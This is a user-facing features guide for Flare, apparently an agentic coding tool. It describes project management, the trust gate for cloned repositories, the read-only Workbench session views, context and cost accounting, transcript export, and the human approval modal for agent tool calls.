# Flare features guide

A tour of every user-facing feature in Flare — what it does, where to find it,
how to use it, and how it works under the hood. Screenshots are captured from a
live instance; routes use an example project id
(`p_2449f1b1`) — yours will differ.

If you are brand new, start with [SETUP.md](https://github.com/Flare-Agentic/flare/blob/main/SETUP.md) to set Flare up, locally
or hosted, then come back here. The per-feature **Configuration** notes in each area name the settings each
feature reads, in the form **Group → Label** — find them under **Settings** in
the app. The environment variables that remain (they cover where and as
whom the process runs, plus the provider keys other tools also read) are listed
in the [README's Configuration section](https://github.com/Flare-Agentic/flare/blob/main/README.md#configuration).

## Projects Home & Multi-Project

Flare manages any number of projects, where each project is a local git repository with its own agents, sessions, board, and settings. The Projects home at `/` is the app's front door: a card grid of every registered repo, plus the entry points for adding, cloning, renaming, trusting, and removing projects. Each project gets a fully isolated runtime (engine, event store, fleet) that is built lazily when you open it and released again when idle.

### The projects list

**What it does** — Shows one card per registered project, most recently worked first: ordered by the latest agent or session activity in the project (stamped from its event bus and persisted as `lastActiveAt` in `projects.json`, never by opening it), falling back to when the project was added, then to name. The top-bar project switcher stays alphabetical. Each card carries a two-letter monogram tile, the project name, a live **Idle**/**Busy** badge (Busy means at least one fleet agent is currently running), a compact `owner/repo` label when the project was cloned from a remote, and an "Added today / yesterday / N days ago / Added Jul 22" line (it reads "Cloning…" while a clone is in progress). A project that failed to clone or whose folder is gone shows a notice on its card saying so. A card also hosts an **Edit** button (rename) and an **×** remove button. When no projects exist yet, an empty state offers a single **Add project** action.

On a hosted Flare a member sees only the projects they belong to; the owner and admins see every one. Adding, removing and trusting a project are the owner's and admins'; renaming is also open to the project's maintainers; anyone else sees the card without those buttons (a member with no project is told to ask the owner or an admin to add them to one).

Hover or focus **Busy** to see what the project's agents are doing — one line per kind of work, in pipeline order: "2 cards being refined", "1 card being planned", "1 card being implemented", "1 other agent working". The chip only explains; clicking it never opens the project.

**Where to find it** — Route `/` — the page every session starts on. From inside a project, click the 🔥 flame in the top bar, or open the command palette (Ctrl+K / ⌘K) and run **Go to Projects home**.

**How to use it** —

1. Click a ready card (or Tab to its name and press Enter) to open the project — you land on its Board at `/p/p_2449f1b1/board`.
2. Click **Edit** on a card to rename the project; the "Edit project" dialog has a **Name** field (Enter saves) and, when the project's `origin` is a GitHub repository, a link to it below the field (`owner/repo`, opens in a new tab). A name may hold only letters, digits, `.`, `_` and `-`, and may not start with `.`; anything else is refused.
3. A card that is still `cloning` shows "Cloning…" and is not clickable until the clone finishes; a card in `error` shows the failure message inline.

**How it works** — The list polls the global project registry (a `projects.json` file under the Flare home, shared by every project), and fans out one fleet summary request per ready project to render the Idle/Busy badge. Project records outlive any runtime — deleting or restarting the server never loses the list. If `projects.json` cannot be read, or holds a record Flare cannot read, the server logs it at boot, lists what it could read and refuses every change to the registry ("refusing to write … it did not load cleanly") until the file is fixed, so a bad file is never overwritten.

On a desktop install, a server that starts with no project registered adds the folder it started in (`FLARE_WORKSPACE`, else the repository root around its working folder) as a trusted local project. Removing the last project therefore brings that folder back at the next start.

![Projects home with the project card grid](https://github.com/Flare-Agentic/flare/raw/main/docs/screenshots/projects-home.png)

### Adding a local project

**What it does** — Registers a folder on your disk as a Flare project, without copying or moving anything. A git repository is registered as it is; a folder that isn't a repository yet gets one.

**Where to find it** — **Add project** button in the Projects page header (also offered by the empty state), on the **Open local path** tab of the dialog.

**How to use it** —

1. Click **Add project**.
2. On the **Open local path** tab, fill **Repository folder** (a folder, not necessarily a repository yet) — type an absolute path (`~/…` means your home folder; a relative path is refused, since the server would read it from its own folder), or click **Choose folder…**, which opens the OS-native folder dialog and automatically falls back to an in-app server-side folder browser when no native dialog is available (headless/WSL/remote). If the picker cannot open, the field says why ("Could not open the folder picker: …"); typing a path clears the message.
3. Optionally set **Name** (defaults to the folder name).
4. Click **Add project**. The server rejects a path that doesn't exist (the error shows inline), and a path that's already registered returns a conflict. The dialog also refuses your **Base folder** itself — choose a project folder inside it.

**How it works** — The dialog sends `init: true` with the path. If the folder has a `.git` entry at its root, the server registers it as it is. If not, it sets the folder up as a repository first, all or nothing: `git init` (your `init.defaultBranch` applies), `.flare/.gitignore`, `git add -A` (your own `.gitignore` is honoured; credential files such as `.env` and private keys are left out, and the server log lists them), then one "Initial commit" — empty for an empty folder, so cards can create worktrees from it. Your git identity must be configured, as for card commits. If any step fails, the `.git` and `.flare` Flare created are removed and nothing is registered, so a retry sees the folder as it was. Flare refuses, with nothing written, a filesystem root, a network-drive or device path (`\\host\share`), your home folder (or a folder above it), Flare's own data folder, a folder whose `.git` exists but is not a repository (remove it first), a folder inside another git repository (add the repository root instead), and a folder that holds other git repositories or a registered project (add each as its own project). Without `init` (an SDK `createProject({ path })` call), a non-repository folder is still rejected with `not a git repository`. For a repository, the server writes `.flare/.gitignore` containing `*` so Flare's per-project state never dirties your working tree; it makes no commit. A local project is implicitly trusted — it's a directory you already navigated to yourself.

**Configuration** — The folder fields pre-fill from **Settings → New projects → Base folder** (a desktop Flare only), which this browser keeps, so you don't retype your projects directory every time.

![Add project dialog on the Open local path tab](https://github.com/Flare-Agentic/flare/raw/main/docs/screenshots/add-project-modal.png)

### Clone from URL

**What it does** — Clones a remote git repository and registers it as a project in one step. The project card appears immediately with status "Cloning…" and flips to ready (or error) when the clone completes — you never wait on the dialog. A clone the server stopped in the middle of (a restart, a crash) shows **error** when the server starts again, saying a restart cut the clone short and, when its folder is there, that the folder keeps what was written; nothing is deleted, and removing the project offers to delete the folder unticked. A failed clone stays **error** even when its folder later disappears.

**Where to find it** — **Add project** → the **Clone from URL** tab.

**How to use it** —

1. Click **Add project**, then the **Clone from URL** tab (arrow keys also move between tabs).
2. Enter the **Repository URL** (https, ssh, or git protocol), e.g. `https://github.com/owner/repo.git`.
3. Optionally set **Clone into** — a destination parent folder; leave blank to use Flare's managed repos folder — and a **Name** (defaults to the repo name).
4. Click **Clone**. The dialog closes and the new card tracks progress via the list's poll.

**One project per repository** — A repository can be added as a project only once. As you type, the dialog tells you when the URL is already a project ("owner/repo is already the project …"), offers to open that project, and keeps **Clone** disabled. Every spelling of one repository counts as the same: upper or lower case, with or without `.git` or a trailing slash, https, `git@host:owner/repo` or `ssh://`. The server refuses it too, with a conflict naming the existing project. If that project's own clone failed, remove it first, then add the repository again. A local folder (**Open local path**) is still checked only by its folder, so two checkouts of one repository on your machine stay possible. Duplicates added before this check are left as they are: `maintain doctor` lists them, and you remove the ones you don't want.

On a hosted Flare the dialog has no tabs: it asks only for a **GitHub repository URL** (`https://github.com/<owner>/<repo>`), clones it into the server's own folder, and refuses a local path. See [Hosted mode](#hosted-mode).

**How it works** — The URL is validated before git ever sees it: only http(s)/ssh/git transports are allowed (`file:` and `ext:` — the remote-code-execution transports — are refused), a leading `-` is rejected to block argument injection, a URL carrying credentials (`https://token@…`; only ssh's plain `git@` user passes) is refused because the project keeps and shows its URL — sign git in with a credential helper instead — and hosts that are or resolve to a private/loopback address are refused (including DNS-rebinding checks). The clone itself runs as a hardened git invocation, and at most 3 clones run concurrently — further requests get a "try again shortly" error. The clone target is always `<parent>/<name>` with the name restricted to letters, digits, `.`, `_`, `-`, so it can't escape the chosen folder.

**Configuration** — With **Clone into** left blank, clones land under `repos/` inside the Flare home (`FLARE_HOME`, default `~/.flare`).

![Add project dialog on the Clone from URL tab](https://github.com/Flare-Agentic/flare/raw/main/docs/screenshots/add-project-clone.png)

### Trust gate for cloned repos

**What it does** — A freshly cloned repository is registered **untrusted**: its own embedded configuration — `AGENTS.md` (or `AGENTS.override.md`)/`CLAUDE.md` instructions, `.flare/rules`, `.flare/skills`, `.flare/hooks.json` (arbitrary shell), `flare.mcp.json`, `.flare/acp.json` and `.flare/lsp.json` (arbitrary local processes), and `.flare/plugins` (code loaded **inside** the server) — does not auto-load until you explicitly trust it. This stops an unreviewed repo from steering the agent's prompt or running code on your machine the moment it's cloned.

**Where to find it** — An "Untrusted" banner on the project's card on the Projects home, naming the main files it holds back, with a **Trust & enable** button.

**How to use it** —

1. Review the cloned repo (its agent instructions, hooks, and MCP config) however you like.
2. Click **Trust & enable** on the card. The grant applies immediately — no restart. If the grant fails, the error is shown on the card rather than silently dropped. On a hosted Flare only the owner and admins see the button; everyone else is told to ask one of them.

**How it works** — Trust is a per-project flag in the registry, checked once at engine build time: an untrusted workspace's engine boots normally but with all of the repo's own config sources skipped (the same graceful degrade as if those files were absent). Flipping trust evicts the project's cached runtime, so the next session is built with the new setting. Projects added from a local path default to trusted; only `cloned` projects start untrusted. While a card in the project is being approved, shipped, revised or deleted, changing its trust is refused with "try again when it finishes", so the runtime is never torn down mid-landing.

The panes that **edit** those same files refuse while the project is untrusted, and say so (a `403` the pane shows, not a silent no-op). That pairing is the point: a pane whose file is not read but is still written does not merely save something inert — if it persists the list it holds in memory, that is the empty one the skipped read returned, so a save in an untrusted clone would rewrite the file from nothing and destroy what the repo shipped. Connectors are the one surface narrowed rather than switched off — the two egress-widening valves (`allowedHosts`, `allowEval`) are ignored and everything else still runs — so that pane stays usable, and what it writes back is the file **as authored**, never the narrowed view it is running.

### Per-project data & isolation

**What it does** — Every project runs against its own isolated runtime and its own on-disk state, so sessions, event history, long-term memory, permission rules, and fleet worktrees never bleed between projects.

**Where to find it** — Nothing to click — this is the structure behind every project. Per-project state lives in the repo's own `.flare/` directory: the event store `flare.sqlite` (sessions and the board, its archived cards included), the [session archive](#session-archive) `session-archive/YYYY-MM.sqlite`, `memory.sqlite`, `worktrees/`, and other workspace config. Install-wide state lives in the Flare home: the project registry, the encrypted Claude connection (one connection covers all projects), and the managed `repos/` clone folder.

**How it works** — Runtimes are built lazily: opening a project constructs its engine, event bus, fleet, and MCP connections on first use, replaying durable state from the project's event store. On startup a runtime also self-heals — interrupted runs are closed out (and [kept resumable](#resuming-a-run-a-restart-killed)), the approvals they were parked on are released, stranded backlog cards reconciled, and stale worktrees reaped — because everything is a projection over the persisted event log.

The event store holds every prompt and tool call, so on Linux and macOS Flare creates `flare.sqlite` (and the WAL files SQLite adds) owner-only (0600) and tightens an older store to it at the next open. Windows has no such mode bits, and there the folder's access rights apply.

**Configuration** — `FLARE_HOME` moves the global home (default `~/.flare`).

### Idle eviction

**What it does** — Releases a project's runtime (engine, SQLite handles, MCP server processes) after it has sat unused for a while, so keeping many projects registered costs nothing. This is invisible in the UI: touching an evicted project rebuilds its runtime on demand, and nothing is lost because all state is event-sourced on disk.

**How it works** — A background sweeper checks every minute for runtimes idle past the TTL. A runtime is kept warm if it was accessed recently, if any fleet agent is busy (an unfocused project's autonomous pipeline keeps running), or if an in-flight consumer — an open live-event stream or a running request — has it pinned.

**Configuration** — The hidden `server.projectIdleMs` setting in `~/.flare/settings.json` sets the idle TTL (default `1800000`, 30 minutes); `0` keeps every opened project hot forever.

### Removing a project

**What it does** — Unregisters a project, and optionally deletes its files from disk. By default only the registry entry is removed — the repository on disk is untouched. Removing a project still cloning stops its clone first. A clone that never finished leaves no usable repository, and its folder would block cloning the same URL again: for a project still cloning the dialog ticks **Also delete the files on disk** for you (untick it to keep the folder), and for a failed clone it says so and leaves the choice unticked.

**Where to find it** — The **×** button in the top-right corner of a project card (labelled "Remove project").

**How to use it** —

1. Click **×** on the card. The "Remove project?" dialog opens with **Cancel** focused.
2. Leave the checkbox off and click **Remove** to unregister only — the dialog confirms "The repository on disk is untouched."
3. To also wipe the folder, tick **Also delete the files on disk**. The dialog shows the exact path and a permanent-deletion warning — deliberately louder for a `local` project (your own pre-existing checkout) than for a Flare-made clone — and the button becomes **Remove & delete files**.

**How it works** — The project's runtime is evicted first so open SQLite handles are closed before the folder is touched (otherwise the delete fails on Windows). The on-disk delete refuses, as a last-line guard, a non-absolute path, a filesystem root, a network or device path, your home folder or a folder above it, Flare's data folder, and a folder that holds another project — the error says which. Removing is also refused while a card in the project is landing (approved, shipped, revised or deleted): try again when it finishes. If the record is removed but the folder can't be deleted (permissions, a busy handle), the dialog stays open and tells you the files lingered rather than pretending success. Removing a project that runs its cards in a sandbox also lets its sandboxes go: its warm boxes are drained, and its card and verify boxes and snapshots are retired; they are never rebuilt for it.

![Remove project confirmation dialog](https://github.com/Flare-Agentic/flare/raw/main/docs/screenshots/remove-project-modal.png)

### Detecting projects whose folder is gone

**What it does** — A periodic check that flags a project as **missing** when its folder disappears from disk: moved, deleted outside Flare, or a repo wiped by hand. The project card says so ("This project's folder is missing — `<path>` is no longer on disk. Nothing was deleted"), suggests reconnecting the drive or removing the project, and stops offering to open it; the flag clears itself when the folder comes back. A project still being cloned is never touched, even before its target folder exists.

**It never deletes anything.** Removing the registry record is irreversible, that record is the only pointer to the project's event history, and a transiently unmounted network or external drive is indistinguishable from a folder someone deleted. So the automatic sweep may only LABEL — removal stays behind the human-confirmed **Remove project** dialog. Labelling is also what lets the check run by default: a wrong guess costs a badge that clears itself on the next pass, not a project.

**Configuration** — On by default, every 60 seconds. The hidden **`server.projectFolderCheckMs`** setting (milliseconds; `0` disables) in `~/.flare/settings.json` changes the cadence.

**How it works** — The project's runtime is evicted first (closing its SQLite handle), then the registry entry is patched to `status: "missing"`; only status TRANSITIONS are written, so a stable state costs no disk writes and no repeated log lines. Opening a missing project answers `409` naming the folder, rather than a `404` claiming a project the Projects page is still listing does not exist.

Building a runtime for a missing project is refused outright, and that refusal is load-bearing rather than cosmetic: the engine creates its data dir with `mkdirSync(dataDir, { recursive: true })`, and because the data dir lives _inside_ the project (`<project>/.flare`), building would recreate the deleted project directory as its parent — an empty shell holding nothing but `.flare/`, which every later "is the folder still there?" check would read as a folder that is there.

### Switching between projects

**What it does** — Fast navigation across projects without going back to the home grid.

**Where to find it** — Inside any project, the top bar shows a project-name dropdown next to the 🔥 flame; open it to jump straight to another project's Board. The command palette's (Ctrl+K / ⌘K) **Go to Projects home** returns to the grid. Anywhere inside a project, **⌘/Ctrl ↓** opens the project dropdown (if it is closed) and goes to the next project's Board, and **⌘/Ctrl ↑** goes to the previous one. The menu stays open for repeated presses, and the keys stop at the first and last project (at an end the menu just opens). With a single project the keys do nothing, and they are ignored while you type in a field or while a dialog is open. On macOS use ⌘, because the OS takes Ctrl+↑/↓. **Esc** (or a click outside) closes the project menu.

![The project menu opened from the top bar, listing every project](https://github.com/Flare-Agentic/flare/raw/main/docs/screenshots/project-switcher.png)

**How it works** — Project routes live under `/p/<projectId>/…`; a bare `/p/<projectId>` redirects to the Board, and a URL for an unknown or deleted project redirects safely back to the Projects home instead of erroring.


## Workbench & Sessions

The Workbench is where you look back at what the agent did: each session's transcript, trace, and proposed changes. It is **read-only** — there is no prompt box, and nothing here hands work to the agent. New work starts from a card on the [Board](#backlog-board--autonomous-pipeline), whose runs you follow in that card's inspector; the Workbench lists every session in the project — a card's or fleet agent's runs (badged **Card**) and the idea generator's (badged **Ideas**, opened read-only like a card's) as well as the ones an API, SDK, or MCP client started — so you can read them back. It lives at `/p/<projectId>/workbench` (e.g. `/p/p_2449f1b1/workbench`) and is built entirely as projections over the session's event log — the streaming panes, trace, and transcript export all render the same durable events, so a session whose run is still live streams in as you watch, and everything is equally inspectable after the fact.

![The Workbench: the Sessions sidebar, the Assistant card with the agent's report and plan, and the trace inspector](https://github.com/Flare-Agentic/flare/raw/main/docs/screenshots/workbench-session.png)

### Workbench layout

**What it does** — One page, subtitled "Browse past sessions: their transcripts and changes.", with two regions: a sidebar and a main workspace. The sidebar holds the **Sessions** accordion (recent session history). In that list, a session with a live run (an API, SDK or MCP run, a card or fleet agent, or an ACP run) carries a green **Running** marker, separate from the highlight on the session you're viewing; the list refreshes every few seconds. The workspace shows the selected session in two columns on wide screens (1200px and up): the left column holds the content panes (Assistant — which holds the transcript export, usage lines and context meter — Thinking, the agent's report, Interactive, Plan, Workspace changes, Provenance), and the right column holds the Trace inspector with Sub-runs under it, pinned under the top bar and scrolling on its own. Below 1200px the columns stack, content first, then the trace. Most panes self-hide until they have content; the trace column shows a "No trace yet" placeholder until the session has events, so the layout doesn't jump when a run starts streaming.

**Where to find it** — Click **Workbench** in the top bar, or go to `/p/p_2449f1b1/workbench`. The ⌘K / Ctrl+K command palette can also jump here.

**How it works** — Every pane renders from the session's streamed event log; each live pane sits in its own error boundary, so a malformed event degrades one pane instead of the page. When a projection cannot be read (the usage, the reasoning, the reports, the reply and plan, the trace or the MCP apps), a warning above that column names it ("Could not read this session's usage — what shows for it is blank, not zero"), so an empty pane is never mistaken for a count of zero. The page streams events over SSE and reconnects through transient drops, resuming from the last seen event. If you reload while a run is parked on you, the page re-attaches and re-hydrates the pending approval or question so it never becomes unanswerable. Project configuration (overrides, MCP servers, instructions, memory, skills) lives on the project Settings page to keep this surface lean; connectors, permission rules and hooks are files.

### @-mentions in a run prompt

**What it does** — A prompt that starts or continues a session can pull context in with `@` references, written `@Type:argument` with no space. `@File:<path>` reads a workspace file (`@Code:<path>` and `@Docs:<path>` are the same file read under another name), `@Folder:<path>` lists a folder, and `@Web:<url>` fetches a page. A file or folder mention also brings that folder's instruction files with it. `@Diff` (the uncommitted diff) and `@Problems` (the verify command's diagnostics) take no argument; `@Repo` inserts the repo map, and `@Repo:<word>` keeps only the map entries that mention that word; `@Terminal` inserts the tail of the newest background process's output, and `@Terminal:<id>` that of a named one. Each is resolved at submit time and placed in a context block ahead of the prompt.

**Where to find it** — Any prompt sent through the HTTP API, the SDK (`startRun`, `resumeRun`), or the MCP server. The GUI has no mention picker.

**How it works** — Mentions are resolved server-side when the run starts; a path the workspace ignores is refused, the diff names credential files without showing them, and fetched web content and terminal output are wrapped as untrusted before they reach the model, like all external input. A mention that fails stays in the context block as `[unresolved: …]` rather than failing the run. `@Web:` is resolved only for a project's own sessions; a card's or the idea generator's prompt carries model-written text that could name a URL to send data to. A prompt the server builds around untrusted text itself — an MCP app's submitted data, a verify fix round's diagnostics, the idea generator's stages — is resolved with mentions off, so an `@` inside it stays data.

### Stopping a live run

**What it does** — Ends the run of the session you are viewing, cleanly: it finishes with a "stopped" completion rather than an error.

**Where to find it** — The ⌘K / Ctrl+K palette's **Stop run**, which is offered only while the viewed session has a live run. A card's run is stopped from its inspector on the Board instead.

**How it works** — Stop targets only the viewed session's live run; switching to another session leaves that run alone. When a run you are watching ends, the Workbench re-reads the workspace review, so the Workspace changes pane reflects what the run left on disk. That pane is the project folder's uncommitted changes since the last Apply — not only the viewed session's — and it is not shown for a card's session, whose work lives in the card's own worktree. A live run cannot be sent a message: to change its course, stop it.

### Live plans

**What it does** — When the agent proposes a plan, a **Plan** pane appears with the step list; as the agent reports progress the steps gain status glyphs (○ pending, ◐ in progress, ● done) and the pane header shows a done/total badge.

**Where to find it** — The Plan pane in the Workbench column, whenever a session has a plan (the agent proposes one with `present_plan` and reports progress with `update_plan`).

**How it works** — The pane is display-only. An approval recorded through the API (`approvePlan`) flips the header badge to "Approved"; it is a record, not a gate — the run does not wait on it. The pane folds the plan lifecycle events from the log (proposed → updated → approved), so a replayed or reloaded session always lands on the current plan state. The agent sees its plan too: whenever the plan changes, Flare appends it to the conversation as one system message after the latest turn (Opus 5.5, Sonnet 5.5 and Fable 5.1 take a system message there). The history is only ever appended to, so the cached prompt before it and the model's earlier thinking stay valid; an unchanged plan adds nothing. A model that cannot take one gets the latest plan in its system prompt instead. Notices from hooks and background processes stay ordinary tagged conversation text: they carry tool and process output, which must not speak with Flare's own authority.

![A finished plan with every step done](https://github.com/Flare-Agentic/flare/raw/main/docs/screenshots/plan-pane.png)

### Agent reports

**What it does** — The agent can end a run with a visual report — prose, sections, file references, tables, findings — by calling `present_report` with a short program in Flare's OpenUI report vocabulary (the tool's description teaches it).

**Where to find it** — Under the Assistant reply in the Workbench, and in a card inspector's **Receipt** tab, below the verified receipt. Only the latest report of a session is shown. A file link in a report scrolls the review to that file; in the card inspector it switches to the **Changes** tab first. The renderer loads only when a report is on screen.

![An agent report under the Assistant reply, framed as written by the agent, with a file link](https://github.com/Flare-Agentic/flare/raw/main/docs/screenshots/agent-report.png)

**How it works** — The program is checked on the machine by OpenUI's parser before anything is recorded: unknown components, unresolved or orphaned names and over-long programs come back to the agent as a list of problems to fix, and nothing is sent anywhere (the parser's telemetry is switched off in every Flare process). A checked report is stored in the session log as a `report.presented` event, so it replays like everything else. Reports render in a frame marked "Written by the agent" that has no access to Flare's API; its only actions open a workspace file or an http(s) link. The hidden setting `review.agentReports` (default on) withdraws the tool.

### Session history

**What it does** — The **Sessions** sidebar accordion lists sessions by most recent activity, 20 at a time (title, relative time, short id, event count) — **Show all (N)** expands the list and **Show latest 20** folds it back — with a **Filter sessions…** box that matches a session's title, or its id when it has no title. Clicking one opens it read-only: the full pane set — assistant reply, trace, usage — is rebuilt from its stored events. Sessions that belong to a backlog card or a fleet agent are listed too, tagged **Card**, and the idea generator's are tagged **Ideas**; subagent children stay out of the list. Rows are plain: clicking one opens it, and there are no per-row actions.

**Where to find it** — The Sessions accordion in the Workbench sidebar.

**How it works** — Viewing is a pure projection: the page streams the stored log from the start, so nothing extra was captured to make history inspectable. A session whose run is still live keeps streaming in as you watch, and a session moved to the [session archive](#session-archive) opens the same way. Browsing to another session never affects a run. An approval raised by a run you are not viewing — a Board card's, typically — still opens the approval modal, and its **Stop run** stops that run, not the session on screen. Switching sessions can close a modal that is still pending; it reopens on the next approval event.

**How sessions are named** — A session's title comes from the text that started it: the first non-empty line, whitespace-collapsed and capped at 60 characters. That derivation is shared by every path that creates a session — the HTTP API, the fleet dispatcher and the headless CLI — so a dispatched backlog card is named after its TASK, not after the throwaway git branch its worktree runs on. Set **Model → Model-written session names** to upgrade that to a short model-written name ("WCAG AA contrast pass" rather than "Ensure the contrast between foreground and background co…"); it costs one small model call per session, which is why it is off by default.

### The session pane set

**What it does** — The Workbench renders one pane per concern, each fed by the same event stream:

- **Assistant** — the streamed reply rendered as Markdown, with a **Copy reply** action (copies the raw markdown). The card also carries the transcript group (**Download .md**, **Download .json**, **Snapshot…**, **Copy**) in its header next to **Copy reply**, and the usage lines and the context meter at the top of its body. The reply (with those usage lines) scrolls inside the card under a fixed header, and on wide screens it grows with the reply up to the viewport height, beside the trace.
- **Thinking** — a collapsed-by-default accordion ("Thinking · the model's reasoning, not its answer") that appears only when a run streamed reasoning; reasoning streams per step, kept strictly out of the answer.
- **Agent report** — the latest `present_report` of the session, under the Thinking accordion (see [Agent reports](#agent-reports)).
- **Trace inspector** — runs → steps → tool calls with durations, token counts, per-model cost estimates, cache-miss chips, and expandable tool call arguments/results. The header shows the run count and the short session id with a **Copy id** action. Covered in [Trace inspector](#trace-inspector).
- **Sub-runs** — the session's spawned subagent children (kind, title or short id, event count), each opening a read-only trace inspector so a subagent's isolated work is fully inspectable. It re-reads the list when a run starts or ends.
- **Interactive** — MCP-app tool UIs, sandboxed and read-only; covered in [Interactive MCP-app UIs](#interactive-mcp-app-uis).
- **Workspace changes** — the file-change review (diff, apply/revert, verify, AI review, secret scan); covered in [The change review pane](#the-change-review-pane). Not shown for a card's session. When Flare could not read the workspace's changes, the pane says so rather than showing an empty review.
- **Provenance** — the session's verifiable AIBOM record (models, tools, instructions used), shown once there are changes; covered in [Provenance (AIBOM) panel](#provenance-aibom-panel).

![The Trace inspector expanded over a finished session](https://github.com/Flare-Agentic/flare/raw/main/docs/screenshots/trace-inspector.png)

**How it works** — All of these are `build*/collect*` projections over the session's events, so they work identically on live and historical sessions. The Plan pane and the trace show any invisible or direction-changing character in model text as `<U+…>`.

### Context meter

**What it does** — A slim bar shows how full the model's context window is ("context 41K / 120K"), turning amber past 75% and red at the budget where auto-compaction kicks in. It is a gauge only; compaction on demand is an API call (`compactSession`).

**Where to find it** — At the top of the Assistant card's body, under the usage lines, once the session has usage data. It reads the context of the latest main model call (input plus cached tokens).

**How to use it** —

1. Watch the bar as a long session grows.

**A lighter move before summarizing.** Tool results are the bulk of any long implement run — a repo map, three file reads, a test log — and most of them are spent by the time they are in the way. With the hidden **`context.evictToolResults`** ("Clear old tool results before summarizing") on, a run that crosses its budget first clears the OLDEST tool results and only summarizes if that was not enough. Clearing costs no model call at all, where compaction costs one and replaces structure with prose.

Every tool **call** stays. A `tool_use` block with no matching `tool_result` is a `400` from every provider with a tool protocol, and would leave the session unresumable, so this rewrites a result's _content_ and never removes a message. What it leaves behind says the output existed and was cleared, rather than an empty string the model would read as “this tool returned nothing” and re-run the call, which is the doom loop rather than a saving. The full output stays in the session log either way: only what is **sent** changes.

Three bounds make it safe to leave on. The most recent results are never cleared — the agent is actively working from those. It stops as soon as the view fits, clearing the least it can rather than the most it may. And a floor means it does not act at all unless the saving is worth it, because a view a few hundred tokens over budget would otherwise clear one result per step forever.

It is **off by default**, and that is the decision rather than caution. Compaction also removes history, but it pays for a _summary_ of what it removed; this pays for nothing but the space — and a taken eviction becomes the run's compaction base, so it lasts for the rest of the run. Often the right trade on a long implement run; always a trade. The server log names each one as it happens.

**Configuration** — The budget is the hidden `context.tokens` setting (default `500000`) **capped by the serving model's own context window**; the meter reads the resolved value from the server rather than hardcoding it. The cap matters because `context.tokens` is one global number while the model is not: a model whose window is smaller than the ceiling cannot take it, and the fallback chain can HOP to a smaller-window model mid-session — after which every request would be rejected, and the chain would not hop again because a `400` is not retryable. The window is re-read on every step, so a hop is picked up immediately, and a line in the server log (`context: budget … for model …`) names the budget in force each time it changes. The configured value is a CEILING and is never raised by a window: an operator who lowered it meant it. A model whose window Flare does not know keeps the configured value unchanged and says so rather than guessing — a window stated too large would let requests overrun the real one, and one stated too small would compact every run for nothing. Auto-compaction decides against the provider's **real** prompt-token count from the last turn's usage (max'd with the chars/4 estimate so the current turn's growth is still counted, approximately) rather than the estimate alone — so a context that a rough character count thinks is under budget but that the model actually tokenized as much larger (common with code and JSON) is compacted before that accumulated undercount overruns the window.

### Token and cost accounting

**What it does** — A usage block shows a session line (tokens in and out, cached tokens, and an estimated cost marked `~`). When the session has more than one turn, a line per turn comes first, with that turn's duration too; its tooltip gives the step count and notes that tokens are summed across steps, each of which re-sends the transcript. The Trace inspector adds a per-model breakdown when a session used more than one model (e.g. after a fallback hop).

**Where to find it** — At the top of the Assistant card's body, once the session has token usage; per-model lines appear at the top of the Trace inspector.

**How it works** — Projected client-side from the session's `usage` events against a static pricing table — no extra requests. A web search request adds $0.01 to the estimate, on top of the tokens its results add.

### Transcript export and copy

**What it does** — Export the current session's transcript as a file or copy it to the clipboard.

**Where to find it** — The "Transcript" group in the header of the Assistant card on the Workbench, once a session is open: **Download .md**, **Download .json**, **Snapshot…** (below), and **Copy** (which briefly acknowledges with "Copied", and is shown only where the browser offers clipboard access).

**How to use it** —

1. Click **Download .md** for a readable Markdown transcript or **Download .json** for the structured form — files are named `flare-<sessionId>.md`/`.json`.
2. Click **Copy** to put the Markdown version on the clipboard.

**How it works** — Both formats are rendered server-side from the same event log the panes display, so the export always matches what you reviewed.

**Run snapshot** — **Snapshot…** in the same group opens a preview of a self-contained HTML page of the session: each run's prompt, steps, tool calls with their arguments and an excerpt of each result, the files it touched and the human approvals (with a deny's note). It holds only what the session recorded, never the workspace's current diff, which may carry later edits that are not this session's. Click **Download .html** to save it as `flare-<sessionId>-snapshot.html`, or **Cancel** to save nothing. It is built in the browser from the session's events, masked by the server, so nothing is uploaded: the file goes where you send it. A very long session stops at a size limit and says so. Every piece of the run's text is escaped with hidden characters marked, the page carries a content security policy that allows no script, form or base address, and the preview shows it in a frame that may run nothing.

![The run snapshot preview: a self-contained page of the session, with Cancel and Download .html](https://github.com/Flare-Agentic/flare/raw/main/docs/screenshots/run-snapshot.png)


## Approvals & Human-in-the-Loop

Flare treats you as part of the loop, not an afterthought: every tool call the agent makes flows through a `deny > ask > allow` permission engine, and anything graded "ask" parks the run until you decide. Approvals, clarifying questions, autonomy modes, and budget caps all ride the same event-sourced core — a pending approval is an `approval.requested` event in the session log, which is why the GUI can re-open it after a page reload, clear it live if you resolve it elsewhere, and replay it later in the trace. Nothing bypasses this pipeline: built-in tools, MCP servers, plugins, connectors, and skills are all wrapped by the same guard.

### Tool-call approvals

**What it does** — When a call needs a person — a write to a protected path, a command naming a credential file, an ask rule you wrote, or a deny rule the reader cannot rule out — the run pauses and a modal titled **Approval required** appears: "The agent wants to run **run_command**", with the exact command or file path shown underneath. You choose **Approve** or **Deny** — or edit the call and **Approve edited**. Because it's the hottest loop in the app, it's keyboard-operable: it opens with **Deny** focused (it can appear while you are typing elsewhere, so a stray **Enter** denies), **Tab** to **Approve** and Enter approves, **D** denies from anywhere, and Escape or the ✕ also counts as a deny — dismissing an approval never silently runs the tool.

The modal names whose work it is ("The agent working on <card> wants to run …"). For a file edit it shows the proposed change as a diff, and if the diff cannot be built it says so and you review the arguments instead. It warns when the call holds invisible or direction-changing characters (shown as `<U+…>`) and when its arguments could not be loaded. Editing a field adds "You edited this call: approving runs it as edited." Only text arguments can be edited, and only when the modal shows the arguments whole. An edited call goes back through every gate the original passed — PreToolUse hooks, then the permission engine — so an edit a rule denies is refused, and an edit holding a `<secret:…>` placeholder is refused because it is not the real value.

With a Deny you can tell the agent why: type up to 500 characters under **Tell the agent why (optional, sent with Deny)**, such as "use pnpm, not npm", and the agent reads it with the refusal as your words ("Denied by user: run_command. The person who denied it said: …"), so its next turn can act on it. The note is masked like the rest of the trace, stored on the `approval.resolved` event and shown in the run's walkthrough; it never grants anything. The server refuses a note on an approve, and refuses one that looks like a credential, as it refuses such a prompt. **Deny** sends the note, and so does D once focus has left the note box (inside it, D is just a letter); closing the dialog (Escape or ✕) denies without it.

When the engine has something to tell you about the call — it is a re-run of a call a restart interrupted, or this build's command reader failed its self-test — the modal shows that note above the call. On a hosted team project only a maintainer decides: anyone else sees the same call with "Only a maintainer of this project can allow or deny this call. The agent waits until one does." and a single **Got it** that puts it away without deciding.

